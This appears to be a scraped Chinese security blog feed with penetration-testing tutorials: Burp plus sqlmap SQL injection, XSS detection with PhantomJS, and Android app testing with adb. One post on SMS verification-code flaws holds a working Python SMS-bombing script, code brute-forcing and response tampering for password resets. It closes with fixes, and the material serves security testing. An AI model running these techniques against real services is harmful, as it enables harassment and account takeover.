The post 知道创宇研发技胜衚 v3.1 黑客孊习技胜树 appeared first on 🔰雚苁ℒ🔰.

↧

自劚化SQL泚入 䜿甚Burp, Sqlmap进行林透测试

September 28, 2018, 5:43 am
$
0
0

自劚化SQL泚入 䜿甚Burp, Sqlmap进行林透测试

暗眑眑址倧党

自劚化SQL泚入 圚OWSAP Top 10䞭泚入型挏掞是排圚第䞀䜍的而圚泚入型挏掞䞭SQL泚入是远比呜什行泚入、Xpath泚入、Ldap泚入曎垞见。这就是本章芁讲述的䞻芁内容圚web应甚皋序的林透测试䞭劂䜕䜿甚Burp和Sqlmap的组合来进行SQL泚入挏掞的测试。圚讲述本章内容之前默讀䞺读者熟悉SQL的原理和SqlMap的基本䜿甚劂果有䞍明癜的同孊请先阅读《SQL泚入攻击䞎防埡》䞀乊和sqlmap手册最奜是阅读官方文档。

本章包含的内容有

  1. 䜿甚gason插件+SqlMap测试SQL泚入挏掞
  2. 䜿甚加区版sqlmap4burp插件+SqlMap批量测试SQL泚入挏掞
䜿甚gason插件+SqlMap测试SQL泚入挏掞

圚正匏匀始本章的内容之前我们先做劂䞋䞀点纊定

  • 䜠已经安装配眮奜了python可运行环境
  • 䜠已经熟悉sqlmap的基本呜什行的䜿甚并正确安装

劂果䜠已经做到了䞊面的䞀点那么我们正匏匀始进入本章的内容。

Burp Suite侎SqlMap敎合的插件陀了BApp Store 侭的SQLiPy倖劂囟

还有gason和sqlmap4burp。䞍同的插件之闎的功胜倧同小匂其目的郜是䜿甚呜什行调甚SqlMap的API接口进行SQL泚入的测试这里我们䞻芁以gason䞺䟋讲述具䜓配眮安装和功胜䜿甚。

gason插件安装䜿甚倧䜓分以䞋几䞪步骀

  1. 銖先是䞋蜜gason插件。䜠可以从这䞪地址进行䞋蜜点击䞋蜜也可以从官方䞋蜜源码自己猖译总之就是获取到插件的安装文件gason-version.jar

  2. 打匀Burp Extensions进行安装点击【Add】按钮按照囟䞭所瀺操䜜即可。安装过皋埈简单劂果䞍明癜的话可参考《Burp Suite应甚商店插件的䜿甚》章节的内容。 自劚化sql泚入劂果出现了䞋囟䞭所瀺结果䞔【Output】和【Errors】䞀䞪tab页面䞭没有错误的提瀺信息衚瀺插件已安装成功。 自劚化sql泚入

  3. 安装完成后圓Burp的Proxy䞭拊截到消息记圕时可盎接发送到sqlmap。劂䞋囟所瀺 自劚化sql泚入

  4. 劂果没有出现劂䞊囟所瀺的【send to sqlmap】菜单则衚瀺插件没正确安装成功需芁读者自己排查䞀䞋安装倱莥的原因。

  5. 圓我们圚Burp拊截的请求消息䞊选择【send to sqlmap】后则自劚匹出sqlmap选项讟眮对话框。 自劚化sql泚入从囟䞭我们可以看出插件䌚自劚抓取消息内容并解析后填充到盞关参数讟眮的选项里去。䟋劂参数和参数倌请求方匏GET/POSTurl地址等。同时还有讞倚䞎Sqlmap本身测试䜿甚的选项倌仍需芁我们自己指定其䞭最䞻芁的䞀䞪是

bin目圕这里是指sqlmap.py的路埄

Commandsqlmap运行时执行的呜什行

6.讟眮bin目圕的方匏埈简单点击【 .】按钮选择到sqlmap.py的存傚路埄即可。圓bin path配眮正确后䞋方的Command䌚自劚曎新随着讟眮参数的䞍同自劚调敎需芁执行的sqlmap呜什行劂果䞍理解界面操䜜各䞪讟眮的含义可以比蟃讟眮前后Command倌的变化即可以知道某䞪讟眮对应于sqlmap参数的哪䞀䞪选项。 自劚化sql泚入

7.所有的配眮正确之后【run】按钮将被激掻点击【run】系统自劚进入sqlmap扫描阶段。

自劚化sql泚入圓进入sqlmap扫描阶段时插件䌚新增䞀䞪tab页面星瀺执行进床即劂䞊囟的箭倎所指。

8.我们可以通过进床跟螪的界面䞊的【save to file】和【close tab】来保存扫描结果和关闭、终止扫描。

䜿甚gason插件䞎呜什行方匏执行sqlmap脚本盞比操䜜变埗曎加方䟿。比劂诎圚呜什行环境䞭我们需芁先抓取cookie信息才胜攟入到呜什行里执行亊或者我们需芁手工圕入䞀䞪䞪参数进行呜什行操䜜而圚gason插件环境䞭这些郜䞍需芁。圓我们点击【send to sqlmap】时插件自劚垮我们完成了这些操䜜。䞔䞎sqlmap䞪性讟眮的选项我们也可以通过界面操䜜自劚完成比呜什行䞋曎盎观、曎高效。

䜿甚加区版sqlmap4burp插件+SqlMap批量测试SQL泚入挏掞

劂果䜠只想执行䞀次sqlmap的操䜜即胜完成倚䞪铟接地址的SQL泚入挏掞测试䜿甚gason插件的方匏操䜜起来䌚比蟃麻烊。那么是吊存圚批量检测的䜿甚方法呢 囜内比蟃著名的安党眑站freebuf䞊有䞀篇类䌌的文章感兎趣的同孊可以自己阅读看看。

  1. 【䌘化SQLMAP的批量测试胜】http://www.freebuf.com/sectool/75296.html
  2. 【我是劂䜕打造䞀欟自劚化SQL泚入工具】http://www.freebuf.com/sectool/74445.html

通过䞊面的䞀篇文章我们可以看出批量操䜜圚实际应甚䞭非垞垞见劂果胜解决批量问题则倧倧地提高了我们的工䜜效率䞋面我们䞀起来研究䞀䞋劂䜕解决这䞪问题。

圚Sqlmap的官方文档䞭有这样的介绍 自劚化sql泚入

从这段话䞭我们可以看出sqlmap可以通过 -l 参数䞀次检测倚䞪url的泚入问题这䞪参数的倌是Burp proxy或者WebScarab proxy的日志文件。那么我们是吊可以通过插件的方匏自劚生成类䌌的日志文件然后调甚sqlmap解决批量检测的问题答案圓然也是肯定的。

圚github䞊眑友difcareer公匀了䞀䞪Burp插件sqlmap4burp源文件地址䞺https://github.com/difcareer/sqlmap4burp。我们就基于歀插件的功胜拓展来完成自劚化批量SQL测试的功胜。

銖先我们来规划䞀䞋这䞪插件的䜿甚场景

圓通过Burp代理的HTTP流量消息郜记圕圚HTTP History 列衚䞭我们可以批量地选䞭倚䞪url由插件自劚生成类䌌Burp proxy的日志文件然后调甚sqlmap进行检测。

插件敎䞪䜿甚过皋的流皋囟劂䞋 自劚化sql泚入

䞊囟䞭浅蓝色背景标瀺的郚分均䞺插件所执行的劚䜜。其䞻芁做了这些事情

  1. 刀断选䞭数据是吊䞺空䞍䞺空则获取History列衚的已选䞭数据无论䞀条还是倚条记圕。
  2. 将获取的HTTP消息按照proxy日志的栌匏生成日志文件。
  3. 调甚sqlmap.py脚本䌠递生成的日志文件䜜䞺参数倌进行检测。

明癜了这些接着我们来看proxy的日志文件栌匏。

自劚化sql泚入

劂䞊囟所瀺我们通过【Options】>>【Misc】>>【Logging】选䞭Proxy的Requests选项自劚匹出保存日志文件的路埄和文件名点击【保存】按钮后则文件生成并匀始记圕Proxy的请求消息。 我们把生成的日志文件甚记事本打匀后发现日志栌匏劂䞋

自劚化sql泚入

䞊囟䞀共䞀条消息每䞀条消息内容又包含囟䞭1的倎郚囟䞭2的消息内容和囟䞭3的尟郚构成而囟䞭2的郚分即是消息请求的诊细内容则我们按照歀栌匏手工构造日志文件通过修改sqlmap4burp的源码Windows环境䞋从而来完成这䞪功胜。

圚源码SnifferContextMenuFactory.java的我们扟到了日志获取的入口createMenuItems凜数内郚的actionPerformed凜数遂修改歀段代码䞺 自劚化sql泚入而创建日志倎郚和尟郚的代码䞻芁是拌写同栌匏的字笊䞲诊细劂䞋 自劚化sql泚入

同时修改sqlmap参数的调甚方匏修改SqlmapStarter.java的第21行䞺 自劚化sql泚入

这样我们可以实现批量操䜜的功胜了。

插件和源码可以通过劂䞋地址进行䞋蜜 插件䞋蜜 源码䞋蜜

䞋蜜完毕后请参考sqlmap4burp的readme完成基本的配眮攟可以䜿甚吊则sqlmap调甚将䌚倱莥无法完成批量检测。

插件安装完毕后星瀺跟原来的插件并无倚倧区别劂䞋囟是发送倚条url到SqlMap的截囟

自劚化sql泚入

生成的日志文件的截囟

自劚化sql泚入

sqlmap窗口䞭䞀次可以检测倚䞪ur截囟

自劚化sql泚入

from

The post 自劚化SQL泚入 䜿甚Burp, Sqlmap进行林透测试 appeared first on 🔰雚苁ℒ🔰.

↧
Search

burpsuite检测xss挏掞 burpsuite实战指南 第十九章

September 29, 2018, 6:55 am
$
0
0

burpsuite检测xss挏掞

burpsuite检测xss挏掞 linux提权 挏掞合集

XSS跚站脚本攻击挏掞是Web应甚皋序䞭最垞见的挏掞之䞀它指的是恶意攻击者埀Web页面里插入恶意html代码圓甚户浏览该页之时嵌入其䞭Web里面的html代码䌚被执行从而蟟到恶意攻击甚户的特殊目的比劂获取甚户的cookie富航到恶意眑站携垊朚马等。根据其觊发方匏的䞍同通垞分䞺反射型XSS、存傚型XSS和DOM-base型XSS。挏掞“泚入理论”讀䞺所有的可蟓入参数郜是䞍可信任的。倧倚数情况䞋我们诎的䞍可信任的数据是指来源于HTTP客户端请求的URL参数、form衚单、Headers以及Cookies等䜆是䞎HTTP客户端请求盞对应的来源于数据库、WebServices、其他的应甚接口数据也同样是䞍可信的。根据请求参数和响应消息的䞍同圚XSS检测䞭䜿甚最倚的就是劚态检测技术以猖皋的方匏分析响应报文暡拟页面点击、錠标滚劚、DOM 倄理、CSS 选择噚等操䜜来验证是吊存圚XSS挏掞。

本章包含的内容有

  1. XSS挏掞的基本原理
  2. PhantomJS圚XSS检测䞭的䜿甚原理
  3. 䜿甚XSS Validator插件进行XSS挏掞检测
XSS挏掞的基本原理

䞀般来诎我们可以通过XSS挏掞的衚现圢匏来区分挏掞是反射型、存傚型、DOM-base䞉种䞭的哪䞀种类型。

  1. 反射型XSS是指通过给别人发送垊有恶意脚本代码参数的URL圓URL地址被打匀时垊有恶意代码参数被HTML解析、执行。它的特点是非持久化必须甚户点击垊有特定参数的铟接才胜匕起。它的连接圢匏通垞劂䞋
    http://localhost/vulnerabilities/xss_r/?name=&lt;script&gt;alert(1);&lt;/script&gt;

    其name参数的倌䞺<script>alert(1);</script>这样的参数倌进入皋序代码后未做任䜕倄理从而被执行。其类䌌的源代码劂䞋囟
    burpsuite检测xss挏掞
  2. 存傚型XSS是指恶意脚本代码被存傚进数据库圓其他甚户正垞浏览眑页时站点从数据库䞭读取了非法甚户存傚的非法数据富臎恶意脚本代码被执行。通垞代码结构劂䞋囟
    burpsuite检测xss挏掞
    其发生XSS的根本原因是服务噚端对写入数据库䞭的内容未做javascript脚本过滀。
  3. DOM-base型XSS是指圚前端页面进行DOM操䜜时垊有恶意代码的片段被HTML解析、执行从而富臎XSS挏掞。
PhantomJS圚XSS检测䞭的䜿甚原理

PhantomJS的官眑地址http://phantomjs.org目前最新版本 2.1。它是䞀䞪基于WebKit的服务噚端JavaScript API即圚无需浏览噚的支持的情况䞋可实现Web浏览噚功胜的支持䟋劂DOM 倄理、JavaScript、CSS选择噚、JSON、Canvas和可猩攟矢量囟圢SVG等功胜。基于它具有的功胜通垞被甚于以䞋场景

  1. 无需浏览噚的Web测试支持埈倚测试框架劂YUI Test、Jasmine、WebDriver、Capybara、QUnit、Mocha
  2. 页面自劚化操䜜䜿甚标准的DOM API或䞀些JavaScript框架劂jQuery访问和操䜜Web页面。
  3. 屏幕捕获以猖皋方匏抓起CSS、SVG和Canvas等页面内容即可实现眑络爬虫应甚。构建服务端Web囟圢应甚劂截囟服务、矢量光栅囟应甚。
  4. 眑络监控自劚进行眑络性胜监控、跟螪页面加蜜情况以及将盞关监控的信息

我们这里䜿甚的䞻芁是利甚PhantomJS提䟛的JavaScript API 调甚监控和觊发接口方䟿地操䜜html页面 DOM 节点并暡拟甚户操䜜。

圚Burp Extender的BApp Store䞭有䞀䞪XSS的检测的插件XSS Validator就是利甚phantomJS和slimerJS的这些特性来完成挏掞验证的。䞋面我们䞀起来看看它的原理。

圚插件安装目圕的xss-detector子目圕䞋有䞀䞪xss.js的文件就是phantomJS检测的具䜓实现。圚代码䞭我们看到默讀情况䞋圚本地䞻机的8093端口启劚了䞀䞪监听服务并充圓䞭闎人代理的功胜。

burpsuite检测xss挏掞

圓phantomJS服务启劚拊截到请求后即通过API接口请求页面并初始化。圚初始化过皋䞭讟眮了启甚web安党检测、XSS审计、js操䜜等。

burpsuite检测xss挏掞

同时自定义alert、confirm、prompt倄理记圕XSS检测信息。

burpsuite检测xss挏掞

而对于js事件检测的倄理䞻芁是通过事件分发凜数去做的。

burpsuite检测xss挏掞

理解了这些过皋基本䞊XSS Validator䜿甚phantomJS对XSS检测的原理已经掌握了。关于这䞪原理的类䌌分析新浪埮博眑友@吃瓜矀䌗-Fr1day 的文章诎埗埈枅楚䌠送闚地址http://www.tuicool.com/articles/3emU7n

甚囟䟋来描述其亀互过皋劂䞋囟

burpsuite检测xss挏掞

圚插件倄理䞭几䞪关键点是需芁我们特别关泚的

  1. Intruder䜿甚了XSS Validator的payload生成噚将插件䞎Intruder䞀者联劚合起来。
  2. 插件对Intruder发送的消息进行拊截倄理蜬亀phantomjs服务监听端口倄理。
  3. xss.js请求真实的web服务噚并对消息进行倄理添加Grep Phrase标志
  4. Intruder组件根据Grep Phrase标志区分是吊存圚挏掞

只有理解了phantomJS圚检测XSS䞭的原理我们才可以圚工䜜䞭根据实际情况对诞劂xss.js文件进行修改来蟟到满足我们自己䞚务需求的目的而䞍仅仅拘泥了插件䜿甚的本身功胜。

䜿甚XSS Validator插件进行XSS挏掞检测

䞊䞀节我们熟悉了phantomJS检测xss的基本原理现圚我们䞀起来看看XSS Validator插件的䜿甚。

XSS Validator插件的安装䟝旧是可以通过BApp Store安装和手工安装䞀种方匏手工安装需芁䞋蜜源码进行猖译这里提䟛项目的github地址https://github.com/nVisium/xssValidator。安装过皋由读者自己完成劂果䞍明癜安装请阅读Burp插件䜿甚盞关章节。安装完毕后插件的界面劂䞋囟所瀺

burpsuite检测xss挏掞

䞊囟䞭的巊䟧䞺插件运行时需芁配眮的参数右䟧䞺验证XSS挏掞的payload。圚䜿甚插件前有䞀些关于phantomjs的具䜓配眮需芁我们关泚。这也是我们圚通过应甚商店进行插件安装时安装界面䞊提䟛了的䜿甚诎明里的。

burpsuite检测xss挏掞

圚执行Intruder之前必须通过呜什行phantomjs xss.js 启劚xss检测服务也是phantomjs的服务监听端口。这就䜿埗我们圚执行呜什行之前需芁将phantomjs安装奜并加入到环境变量里吊则无法执行。至于phantomjs的安装非垞简单劂果䜠实圚䞍䌚建议䜠阅读歀文章。䌠递地址http://www.mincoder.com/article/4795.shtml

安装完之后执行phantomjs xss.js控制台界面星瀺劂䞋并无其他提瀺信息。

burpsuite检测xss挏掞

䞺了简单地诎明䜿甚方法其他的参数我们郜采取默讀配眮只修改Grep Phrase和JavaScript functions䞀䞪参数 Grep Phrase修改䞺xxs_result,䜜䞺检测标志和列衚倎。 JavaScript functions䞭我们仅䜿甚alert其他的郜暂时去掉。䟿于我们从控制台观察结果。我们最终的配眮结果劂截囟所瀺

burpsuite检测xss挏掞

配眮完插件之后我们需芁配眮Intruder。 銖先指定Grep Phrase的倌。

burpsuite检测xss挏掞

接着Intruder的payload生成噚需芁讟眮䞺xssValidator的。 burpsuite检测xss挏掞burpsuite检测xss挏掞

劂果䜠劂䞊囟䞭所瀺的讟眮则可以启劚Intruder进行检测了。圚检测过皋䞭我们䌚看到控制台蟓出埈倚日志信息根据我们的配眮蟓出alert信息的衚瀺payload检测出存圚xss挏掞。劂䞋囟䞭2所瀺

burpsuite检测xss挏掞

同时圚Intruder的执行界面䞊我们可以通过xss_result来查看payload的检测情况那些响应报文䞭存圚挏掞标志的均被标出䟿于我们对消息的区分和倄理。

burpsuite检测xss挏掞

通过以䞊内容的孊习我们对PhantomJS 和xssValidator圚XSS挏掞检测方面的䜿甚有了曎深入的了解。圚实际应甚䞭由于xss挏掞的倍杂性䞍是靠插件默讀的payload就胜检测出来的还是需芁读者自己去分析和思考扟到具䜓的解决办法本章内容仅仅起着抛砖匕玉的䜜甚。文章后的延䌞阅读内容感兎趣的读者可以进䞀步分析、实践。同时劂果有曎奜的歀类文章欢迎发邮件给我t0data@hotmail.com我䌚添加到延䌞阅读里。

延䌞阅读1.Server-Side-XSS-Attack-Detection-with-ModSecurity-and-PhantomJS
from

The post burpsuite检测xss挏掞 burpsuite实战指南 第十九章 appeared first on 🔰雚苁ℒ🔰.

↧

手机验证码垞见挏掞 总结 任意甚户密码重眮

September 29, 2018, 10:39 pm
$
0
0

手机验证码垞见挏掞

手机验证码垞见挏掞 黑客孊习资源汇总

0X00 前蚀 手机验证码垞见挏掞

　　手机验证码圚web应甚䞭埗到越来越倚的应甚通垞圚甚户登陆甚户泚册密码重眮等䞚务暡块甚手机验证码进行身仜验证。针对手机验证码可胜存圚的问题收集了䞀些手机验证码挏掞的案䟋这里做䞀䞪園纳总结圚测试䞭让自己的思路曎加明确。垞见的手机验证码挏掞劂䞋

1、无效验证

2、客户端验证绕过

3、短信蜰炞

4、验证码爆砎

5、验证码䞎手机号未绑定

0X01 无效验证

有验证码暡块䜆验证暡块䞎䞚务功胜没有关联性歀䞺无效验证䞀般圚新䞊线的系统䞭比蟃垞见。

案䟋䞀

获取短信验证码后随意蟓入验证码盎接蟓入䞀次密码可成功曎改甚户密码没有对短信验证码进行验证可胜富臎CSRF等问题。

案䟋二任意甚户泚册

第䞀步利甚自己的手机号接收验证码进行验证䞋䞀步跳蜬到䞀䞪讟定密码的页面

第二步抓包篡改手机号䜿甚任意手机号进行泚册

问题剖析䞚务䞀臎性存圚安党隐患身仜验证䞎密码修改过皋分匀验证无效。

 

参考铟接https://woo.49.gs/static/bugs/wooyun-2016-0189300.html

https://woo.49.gs/static/bugs/wooyun-2013-026652.html

0X02 客户端验证绕过

客户端验证是䞍安党的可胜富臎任意莊号泚册、登圕及重眮任意甚户密码等䞀系列问题。

案䟋䞀盎接返回明文验证码

点击获取收集验证码监听到䞀条json数据可以发现验证码就藏圚ticket里面蟓入9360即可登陆成功。

 

案䟋二返回密文验证码

验证加密后返回客户端甚户解密即可获取验证码。

 

案䟋䞉拊截替换返回包

第䞀步䜿甚正垞莊号修改密码获取验证码通过时服务噚返回数据保存该信息

第二步䜿甚fiddler䞋断之后点击确定服务噚䌚返回验证码错误之类的信息䜿甚{“MessageHeader”:{“MessageID”:”RSP036″,”ErrorCode”:”S000″,”Description”:”成功”}}歀信息进行替换后再执行密码修改成功。

 

问题剖析垞见于APP等客户端蜯件通过拊截替换返回信息绕过客户端本地验证。

参考铟接吉祥航空可以绕过手机验证码修改任意莊号密码

http://cb.drops.wiki/bugs/wooyun-2015-0104509.html

0X03 短信蜰炞

短信蜰炞是手机验证码挏掞䞭最垞见的䞀种挏掞类型。

圚测试的过皋䞭对短信验证码接口进行重攟富臎倧量发送恶意短信。

案䟋䞀无限制任意䞋发

案䟋二有䞀定时闎闎隔无限䞋发

每隔60秒可䞋发䞀条短信无限䞋发短信蜰炞。圚测试过皋䞭可通过猖写Python脚本来计算短信䞋发时闎闎隔实现短信蜰炞。

#coding=utf-8
import json
import requests
import time
start_time = time.time()
count =input("Please input counts:")
phone =raw_input("Please inut your phone:")
i=0
while (i<count):
    url= "http://xxxx.cn:9092/map/GenerationUpdate"
    data=json.dumps({"headerInfo": { "functionCode": "randomcode4G"},"requestContent":{"phoneNumber":phone}})

    header = { 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1''Host': 'xxxx.com:9092'
        }  
    r = requests.post(url, data=data,headers=header,timeout=5)
    result=r.content
    if result.count('serviceCode":0'):
        print 'Sending message : %d seconds ' % (time.time()-start_time)
    i=i+1
    #print 'send %s time'%(i)

 

0X04 验证码爆砎 手机验证码垞见挏掞

短信验证码䞀般由4䜍或6䜍数字组成若服务端未对验证时闎、次数进行限制则存圚被爆砎的可胜。

蟓入手机号获取验证码蟓入任意短信验证码发起请求抓包将短信验证码字段讟眮成payloads取倌范囎䞺000000-999999进行暎力砎解根据返回响应包长床刀断是吊爆砎成功。

 

0X05 验证码䞎手机号未绑定

䞀般来诎短信验证码仅胜䜿甚䞀次验证码和手机号未绑定验证码䞀段时期内有效那么就可胜出现劂䞋情况

1、A手机的验证码B可以拿来甚

2、A手机圚䞀定时闎闎隔内接到䞀䞪验证码郜可以甚。该问题可胜䞺产品策略讟定参考铟接https://woo.49.gs/static/bugs/wooyun-2012-08679.html

检测接收验证码的手机号和绑定的手机号是吊䞀臎。

案䟋䞀任意甚户密码重眮

1.䜿甚自己手机号收取验证码

2.自己的验证码和对方的手机号填䞊䞋䞀步城管讟眮新密码

 

参考铟接

https://woo.49.gs/static/bugs/wooyun-2014-080315.html

https://woo.49.gs/static/bugs/wooyun-2012-013836.html

 

手机验证码垞见挏掞 解决方案

1.圚服务噚进行有效验证手机号和验证码圚服务噚进行唯䞀性绑定验证。

2.圚服务端限制验证码发送呚期讟眮时效限制次数。
from

The post 手机验证码垞见挏掞 总结 任意甚户密码重眮 appeared first on 🔰雚苁ℒ🔰.

↧
↧

burpsuite进行app林透测试 burpsuite实战指南 第二十章

September 30, 2018, 7:20 am
$
0
0

burpsuite进行app林透测试

burpsuite进行app林透测试 html特效

背景

最近这䞀幎移劚端真是非垞火每䞪单䜍或倚或少郜䌚有那么几欟App对于我们Web安党攻城垈来诎App安党也需芁或倚或少的了解䞀些。幎初单䜍来了䞀䜍对App安党略有研究的小䌙䌎某日闲来无事教了笔者几招分享给倧家。有句叀语:”工欲善其事必先利其噚”我们芁研究App安党没有几欟高倧䞊的神噚是䌚非垞麻烊的因歀本文䞻芁给倧家分享䞀䞋笔者孊到的䞀些基础知识䞻芁是䞀些移劚端测试蟅助工具的䜿甚。

暡拟噚

暡拟噚笔者经垞䜿甚有䞀欟䞀欟是BlueStacks这欟䞪人感觉是做的非垞䞍错的䞀般安装操䜜App非垞流畅䞍䌚有卡死的情况。及倖䞀欟就是SDK暡拟噚(Software Development Kit)了这欟是特别高倧䞊的类䌌虚拟机vm䞀样可以建立倚䞪虚拟机安装䞍同的android系统。

BlueStacks

䞋蜜地址http://www.bluestacks.net.cn/Download/

安装的时候䌚提瀺安装”给力助手”给力助手是蟅助操䜜的可以安装电脑䞊䞋蜜的app安装包到暡拟噚也可以卞蜜已经安装的还有埈倚针对暡拟噚的讟眮功胜劂囟

burpsuite进行app林透测试

BlueStacks安装之后安装APP打匀App界面劂囟

burpsuite进行app林透测试

 

功胜方面䜿甚郜非垞简单本文就䞍做介绍了。

Software Development Kit

䞋蜜地址http://developer.android.com/sdk/index.html

䞋蜜之后打匀包䞭的eclipse然后进行暡拟噚Android镜像的䞋蜜包䞭自垊的镜像是Android 5.0的镜像建议䞋蜜老版本的方䟿测试App新版的镜像郚分App圚安装的过皋䞭可胜䌚有䞍兌容的情况。
SDK Android镜像的䞋蜜劂䞋囟所瀺

burpsuite进行app林透测试

 

䞋蜜完Android镜像之后就可以安装虚拟机了具䜓劂䞋

burpsuite进行app林透测试

 

抓包神噚

抓app包的方法有埈倚种比劂手机讟眮代理甚BurpSuite进行抓包或者可以甚fidder抓包。我比蟃习惯甚䞀欟小工具smsniff进行抓包䜿甚起来比蟃方䟿抓到的包再攟到Burpsuite进行修改提亀等。工具劂囟

burpsuite进行app林透测试

这欟工具比蟃小巧占甚资源蟃少有些时候甚burp等抓包䌚发生错误或者盎接富臎虚拟机䞊的app无法连接眑络甚这欟就䞍䌚发生以䞊诎的情况。

 

SDK小工具

SDK䞭自垊了几欟埈䞍错的小工具我比蟃垞甚的有adb和emulator。ADB是䞀䞪客户端-服务噚端皋序其䞭客户端是䜠甚来操䜜的电脑服务噚端是android讟倇。SDK包䞭默讀就有这俩欟小工具

Adb

Adb呜什劂䞋
adb devices 查看启劚的虚拟机讟倇劂囟

burpsuite进行app林透测试

adb install安装app到已经打匀的虚拟机䞭劂囟

burpsuite进行app林透测试

这样就将本地䞋蜜的app安装到了已经启劚android虚拟机䞭了。
adb shell登圕讟倇shell劂囟

burpsuite进行app林透测试

adb push将电脑䞊的文件发送的android虚拟机䞊adb pull将android虚拟机䞊的文件发送到电脑䞊劂囟

burpsuite进行app林透测试

Adb呜什非垞区倧以䞊只是列出了比蟃基础的几䞪诊细的倧家可以癟床。

Emulator

Emulator呜什我目前垞甚的就䞀招启劚android虚拟机以代理暡匏启劚android虚拟机。呜什分别劂䞋

Emulator @xiaomi
Emulator -http-proxy 127.0.0.1:8080 @xiaomi

其䞭xiaomi是我新建的android虚拟机的名字讟眮代理启劚之后就可以甚burp进行抓包了。

反猖译工具

反猖译app䞻芁甚apktool和d2j-dex2jar.bat我比蟃垞甚的是dex2jar。
Apktool反猖译呜什劂䞋

apktool.jar d e:\Appsec\xxx.apk

呜什执行之后䌚圚apktool.jar所圚目圕䞋生成䞀䞪app的目圕。
d2j-dex2jra.bat反猖译方法劂䞋
甹rar打匀apk文件将其䞭的classes.dex解压出来然后执行呜什d2j-dex2jar.bat d:\Appsec\xx\classes.dex
执行完成之后䌚圚d2j-dex2jar.bat盞同目圕䞋生成䞀䞪.jar的文件可以甚jd-gui.exe盎接打匀.jar来查看app的源代码劂囟

burpsuite进行app林透测试

 

案䟋分享

App安党测试我只胜测测简单的倧倚是权限绕过类的比劂绕过锁屏密码、任意甚户登圕等。基本郜是因䞺app代码讟计猺陷或者权限验证䞍足富臎的。

任意甚户登圕

某次测试䞀䞪appRP比蟃奜发现䞀任意甚户登圕挏掞。圚本地的配眮文件䞭有登圕甚户的垐号和密码APP讟计比蟃奇葩只是验证了甚户登圕邮箱没有验证密码富臎通过修改本地的配眮文件就可以实现任意甚户登圕登圕之后胜借查看别人的订单等数据。圚android虚拟机䞭安装的app郜圚/data/data目圕䞋倧抂的目圕结构劂䞋

burpsuite进行app林透测试

app安装目圕䞋的结构郜是差䞍倚的䞻芁有猓存文件、数据库目圕、本地文件、配眮文件等。比蟃重芁的目圕有databases、shared_prefs。分别保存了数据库文件和配眮文件。
蚀園正䌠查看了安装app的shared_prefs目圕发现其䞭䞀䞪文件内容劂䞋

burpsuite进行app林透测试
可以看到有甚户的登圕邮箱和密码将邮箱修改成存圚的甚户邮箱密码随意蟓入然后adb shell之后甚linux呜什删陀android虚拟机䞊已经存圚的配眮文件再甚adb push将修改后的文件发送到android虚拟机再打匀app发现已经甚其它甚户成功登圕了。

from

The post burpsuite进行app林透测试 burpsuite实战指南 第二十章 appeared first on 🔰雚苁ℒ🔰.

↧

党囜等级保技 测评机构掚荐目圕 信息安党等级保技

October 1, 2018, 9:05 am
$
0
0

党囜等级保技 测评机构掚荐目圕  黑客乊籍

党囜等级保技

党囜等级保技 信息安党等级保技是对信息和信息蜜䜓按照重芁性等级分级别进行保技的䞀种工䜜圚䞭囜、矎囜等埈倚囜家郜存圚的䞀种信息安党领域的工䜜。圚䞭囜信息安党等级保技广义䞊䞺涉及到该工䜜的标准、产品、系统、信息等均䟝据等级保技思想的安党工䜜狭义䞊䞀般指信息系统安党等级保技 党囜等级保技 from 

党囜等级保技 党囜等级保技 党囜等级保技 党囜等级保技

党囜等级保技 发垃日期2018-09-26

党囜等级保技 测评机构掚荐目圕
囜家信息安党等级保技工䜜协调小组办公宀掚荐测评机构名单
掚荐证乊猖号	测评机构名称	泚册地址	联系人	联系电话	䌠真	掚荐时闎	有效期至
DJCP2010000001	公安郚信息安党等级保技评䌰䞭心	北京垂海淀区阜成路58号新掲商务倧厊7层	李升	13331101888
010-51607592	010-88152669	2010幎6月	2019幎6月
DJCP2010000002	囜家信息技术安党研究䞭心	北京垂海淀区农倧南路1号硅谷亮城2C座	刘志磊	010-59613930	010-59613975	2010幎6月	2019幎6月
DJCP2010000003	䞭囜信息安党测评䞭心	北京垂海淀区䞊地西路8号院1号楌	宋曊	18518392555 010-8241587	010-82341100	2010幎6月	2019幎6月
DJCP2010000004	电力行䞚信息安党等级保技测评䞭心	北京垂西城区广安闚内倧街311号祥韙商务倧厊䞜区7层	陈雪鞿	010-58681851
13911159653	010-58681835	2010幎6月	2019幎6月
DJCP2011000005	䞭囜金融电子化公叞测评䞭心	北京垂倧兎区西红闚镇䞭囜人民银行蜯件匀发䞭心	王晓燕	13691155959	010-57687650	2011幎1月	2020幎1月
DJCP2011000006	教育信息安党等级保技测评䞭心北京眑盟正通科技有限公叞	北京垂西城区倧朚仓胡同37号2号楌406宀	杚䌟平	13581523179	010-66097058-8003	2011幎6月	2020幎6月
DJCP2012000007	囜家广播电圱电视总局广播电视信息安党测评䞭心	北京垂西城区倍兎闚倖倧街2号	任晓炜	010-86094891
13911237250	010-86094150	2012幎7月	2021幎7月
DJCP2015000008	信息产䞚信息安党测评䞭心	北京垂海淀区北四环䞭路211号	霍珊珊	010-89056107
13810532039	010-89056109	2010幎6月	2021幎6月
DJCP2015000009	公安郚第䞀研究所信息安党等级保技测评䞭心	北京垂海淀区銖䜓南路1号	李秋銙	15010189805 010-68773975	010-68774041	2015幎9月	2018幎9月
DJCP2016000010	囜家信息䞭心电子政务信息安党等级保技测评䞭心	北京垂西城区䞉里河路58号	陈氞刚	13910697749/010-68557181	010-68557621	2016幎1月	2019幎1月
DJCP2016000011	䞭囜铁道科孊研究院集团有限公叞信息系统䞎信息安党评测䞭心	北京垂海淀区倧柳树路2号	朱广劫	13911887019	010-51874406	2016幎1月	2019幎1月
DJCP2016000012	䞭囜电子信息产䞚集团有限公叞第六研究所工䞚控制系统信息安党技术囜家工皋实验宀	北京垂海淀区枅华䞜路25号六所倧厊	讞净凯	13810670234	010-66608900	2016幎3月	2019幎3月
DJCP2016000013	亀通运蟓信息安党等级保技测评䞭心	北京垂朝阳区安倖倖銆后身䞀号	戎明	13911036608 010-65293628	010-65293600	2016幎3月	2019幎3月
DJCP2016000014	工䞚和信息化郚计算机䞎埮电子发展研究䞭心䞭囜蜯件评测䞭心	北京垂海淀区玫竹院路66号	唐刚	13581842497	010-88559311	2016幎11月	2019幎11月
